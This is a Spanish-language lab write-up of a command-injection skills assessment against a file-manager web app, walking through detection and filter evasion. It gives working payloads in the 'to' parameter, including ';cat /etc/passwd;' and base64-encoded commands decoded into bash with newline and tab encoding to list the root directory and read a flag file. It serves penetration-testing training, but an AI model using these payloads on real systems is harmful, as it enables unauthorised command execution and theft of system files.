Page cover image

💉Command Injection - Skills Assesment

Nos han contratado para realizar una prueba de penetración para una empresa y, durante la prueba, descubrimos una aplicación web de administración de archivos interesante. Como los administradores de archivos suelen ejecutar comandos del sistema, nos interesa probar vulnerabilidades de inyección de comandos.

Utiliza las diversas técnicas presentadas en este módulo para detectar una vulnerabilidad de inyección de comandos y luego explotarla, evadiendo cualquier filtro existente.


Objetivo: 94.237.59.180:46552

User "guest"
Password "guest"

Al acceder con las credenciales que nos proporciona el cliente entramos a un administrador de archivos, y vemos que se añade el parámetro ?to= a la url:

Detección de Command Injection

Detectamos que en la funcionalidad de copiar devuelve un error en el front, lo que nos permitiría explotar un command injection:

Observamos que se añade un nuevo parámetro from=

En el request observamos que se envía por GET con el siguiente formato:

GET /index.php/index.php?to=&from=51459716.txt&finish=1&move=1

Prueba de inyección de comandos

Vamos a probar a modificar la solicitud para intentar leer el archivo /etc/passwd:

GET /index.php/index.php?to=;cat+/etc/passwd;&from=51459716.txt&finish=1&move=1
                            |---------------|
                                 Payload

Vemos que funciona pero hay algún tipo de filtro que lo detecta como malicioso.

Bypass de filtros

Vamos a probar a listar los archivos del directorio raiz / con el objetivo de encontrar la flag. El comando ls / también lo considera malicioso, así que vamos a hacer el bypass:

1. Codificar comando en Base64

echo  "ls /" | base64 
bHMgLwo=

2. URL con payload codificado

payload
%0a%09bash<<<$(base64%09-d<<<bHMgLwo=)
GET /index.php/index.php?to=%0a%09bash<<<$(base64%09-d<<<bHMgLwo=)&from=51459716.txt&finish=1&move=1
                            |------------------------------------|

Extracción de la flag

Vamos a repetir los mismos pasos pero enfocado a leer la flag del directorio /.

1. Codificar comando en base64

echo  "cat /flag.txt" | base64 
Y2F0IC9mbGFnLnR4dAo=

2. URL con payload codificado

payload
%0a%09bash<<<$(base64%09-d<<<Y2F0IC9mbGFnLnR4dAo=)
GET /index.php/index.php?to=%0a%09bash<<<$(base64%09-d<<<Y2F0IC9mbGFnLnR4dAo=)&from=51459716.txt&finish=1&move=1
                            |------------------------------------------------|

Extraemos la flag sin problema!

Última actualización

¿Te fue útil?